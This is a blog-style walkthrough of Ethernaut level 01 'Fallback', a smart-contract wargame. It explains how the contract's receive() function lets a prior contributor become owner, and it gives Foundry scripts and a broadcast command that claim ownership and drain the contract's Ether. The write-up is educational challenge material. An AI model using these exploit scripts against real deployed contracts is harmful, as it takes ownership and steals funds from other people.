Ethernaut Level 01 - Fallback

Ethernaut Level 01 - Fallback

Analysis and solution with Solidity and Foundry for Ethernaut's level 01 - Fallback.

Objectives

This level deals with the fallback functions (receive and fallback) present in Solidity. The main objectives of this level are:

  1. You have to claim the ownership of the contract
  2. You have to drain all the balance in the contract

Analysis

There are 3 functions of importance in the code. They are -

  1. contribute()
  2. receive()
  3. withdraw()

Let's talk about them one by one.

contribute()

function contribute() public payable {
    require(msg.value < 0.001 ether); //send < 0.001 ether
    contributions[msg.sender] += msg.value; // add the contribution for `msg.sender`
    if(contributions[msg.sender] > contributions[owner]) {
        owner = msg.sender; //if msg.sender has more contribution, then they become the new owner
    }
}

This is a payable function that allows anyone to call it and send some Ether in the msg.value given that the amount is less than 0.001 Ether.

It also increments the sent ether in the contributions mapping for the msg.sender (the user who sent the ETH or made the function call).

There's another statement here that checks if our user's contribution is more than the owner's contribution, which is 1000 Ether as defined in the constructor. If it is, then our user will become the new owner.

receive()

receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender; //if the conditions are satisfied, msg.sender becomes new owner
}

This is a fallback function responsible for receiving the Ether. It is triggered when a call is made to the contract with no calldata such as the send, transfer, and call functions.

This function has two validations to allow users to trigger the function -

  • The msg.value or Ether sent with the transaction should be > 0
  • The user should already have contributed to the contract before calling this function, i.e., they should already have called contribute() with some Ether.

withdraw()

  function withdraw() public onlyOwner { //only contract owner can call this function
    owner.transfer(address(this).balance); //transfer contract's balance to the owner
  }

This function will be used at later stages to withdraw the Ether from the contract once our user claims ownership of the contract. Note the onlyOwner modifier used as an access control validation on the function.


The Exploit

To successfully complete the level, we can do two things to become the new owner.

  1. Call the contribute function multiple times, and with < 0.001 Ether in each call, assuming if we even have that huge amount of Ether with us. Not a viable or practical approach.
  2. We can use the receive() function in order to become the owner. The validations look like they can be bypassed.
    • To bypass msg.value > 0: We can simply make a call to the contract's receive() function with some Ether in the msg.value field.
    • To bypass contributions[msg.sender] > 0: We can make use of the contribute() function since it already does the job for us by adding and storing our contribution amount (msg.value) on the line contributions[msg.sender] += msg.value;.

Therefore, our exploitation involves us calling the contribute() with some Ether value less than 0.001. This will allow us to trigger the receive() function making us the owner. Once we become the new owner, we can call the withdraw() function to drain all the Ether from the contract and complete the level.

Proof of Concept

I'll be using foundry scripts to write a PoC. We'll keep all our test scripts in the test directory and the final PoC scripts to broadcast in the script directory. Refer to the Github repository for the updated code and the first article in the series for a detailed setup guide.

Here's our first test script:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Test.sol";
import "../instances/Ilevel01.sol";

contract POC is Test {
    Fallback level1 = Fallback(0xFEa5EC80853C53c7083F9027BE97130F3836D460);

    function test() external {
        vm.startBroadcast();

        level1.contribute{value: 1 wei}(); // call the contribute function with some ether/wei
        level1.getContribution(); // get the contribution for our user to make sure its updated
        address(level1).transfer(1 wei); // make a transfer call to trigger the receive function and become the new owner
        level1.owner(); // check who is the new owner

        vm.stopBroadcast();
    }
}

Execute the above script using forge test -vvvv. The most beautiful thing about this is that it'll give you the response for each function execution inside traces and will tell you what went wrong.

It can be seen below that my fallback transaction ran out of gas and was reverted.

image.png

To circumvent the error, we can use call(). transfer and send forwards only 2300 gas whereas call forwards all the gas or the amount which is set. Note that when you want to just send Ether to another contract via a fallback function, call() is the recommended approach.

image.png


Now that we know it is working, it's time to broadcast this on the network using the following command:

forge script ./script/level01.sol --private-key $PKEY --broadcast -vvvv --rpc-url $RPC_URL

Here's our final PoC:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Script.sol";
import "../instances/Ilevel01.sol";

contract POC is Script {
    Fallback level1 = Fallback(0xFEa5EC80853C53c7083F9027BE97130F3836D460);

    function run() external {
        vm.startBroadcast();

        level1.contribute{value: 1 wei}(); // contribute some Ether/Wei
        level1.getContribution(); // check how much my contribution is
        address(level1).call{value: 1 wei}(""); // trigger the fallback function
        level1.owner(); // query new owner
        level1.withdraw(); // withdraw all the Ether

        vm.stopBroadcast();
    }
}

image.png

All our function calls were successful. We became the new owner as can be seen in the traces. Now we can submit the instance to finish the level.

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry